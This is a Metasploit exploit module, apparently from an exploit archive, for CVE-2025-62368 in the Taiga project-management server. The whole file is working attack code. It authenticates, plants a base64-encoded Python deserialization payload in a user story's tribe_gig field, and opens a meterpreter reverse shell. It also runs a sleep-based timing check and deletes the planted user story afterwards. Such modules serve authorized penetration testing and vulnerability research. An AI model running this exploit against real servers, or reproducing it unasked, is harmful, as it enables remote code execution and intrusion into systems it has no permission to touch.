📄 Taiga Tribe_gig Authenticated Unserialize Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class TaigaClientException < StandardError; end
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
            'Description' => %q{
              This module exploits an unserialization flaw by
              creating a userstory in a project.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'rootjog',      # Discovery
              'whotwagner'    # Metasploit Module
            ],
            'References' => [
              ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
              ['CVE', '2025-62368']
            ],
            'Platform' => %w[linux unix python],
            'Targets' => [
              [
                'Python payload',
                {
                  'Arch' => [ ARCH_PYTHON ],
                  'Platform' => 'python',
                  'Type' => :python,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => %w[unix linux],
                  'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'SSL' => false
            },
            'Privileged' => false,
            'DisclosureDate' => '2025-10-28',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
            OptString.new('USERNAME', [true, 'The username to authenticate as']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
          ]
        )
      end
    
      def authenticate(user, pass)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            username: user,
            password: pass,
            type: 'normal'
          }.to_json,
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Login failed' if res&.code != 200
    
        parsed_json = res.get_json_document
        @token = parsed_json['auth_token']
        @taiga_user_id = parsed_json['id']
      end
    
      def get_project
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
          'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get projects failed!' if res&.code != 200
    
        projects = res.get_json_document
        projects.each do |project|
          @taiga_project = project['id'] if project['is_kanban_activated']
        end
    
        raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
      end
    
      def get_status
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
          'vars_get' => { 'project' => @taiga_project },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get status failed!' if res&.code != 200
    
        status_data = res.get_json_document
        raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
    
        status_data['statuses'].each do |stat|
          return stat['id'] if stat['name'] == 'New'
        end
      end
    
      def delete_userstory(id)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
          'method' => 'DELETE',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'keep_cookies' => true
        )
      end
    
      def send_payload(payload, project_status)
        temp_project = Rex::Text.rand_text_alpha(10..15)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'data' => {
            _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
            tribe_gig: payload.to_s
          }.to_json
        )
      end
    
      def check
        cookie_jar.clear
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
          project_status = get_status
        rescue TaigaClientException => e
          return Exploit::CheckCode::Unknown(e)
        end
        sleep_time = rand(5..10)
        pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
        command = Rex::Text.encode_base64(pl)
        res, elapsed_time = Rex::Stopwatch.elapsed_time do
          send_payload(command, project_status)
        end
        return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
    
        user_story_id = res.get_json_document['id']
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
    
        print_status("Elapsed time: #{elapsed_time} seconds.")
        return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
    
        Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    
      def execute_command(cmd, _opts = {})
        # calls some method to inject cmd to the vulnerable code.
        begin
          project_status = get_status
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
        print_status('Sending payload..')
        res = send_payload(cmd, project_status)
        print_good('Payload sent')
        user_story_id = res.get_json_document['id']
        print_status('Cleanup..')
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
        print_good('Userstory deleted')
      end
    
      def exploit
        cookie_jar.clear
    
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
    
        if target['Type'] == :python
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
        else
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
        end
        data = Rex::Text.encode_base64(command)
        execute_command(data)
      end
    end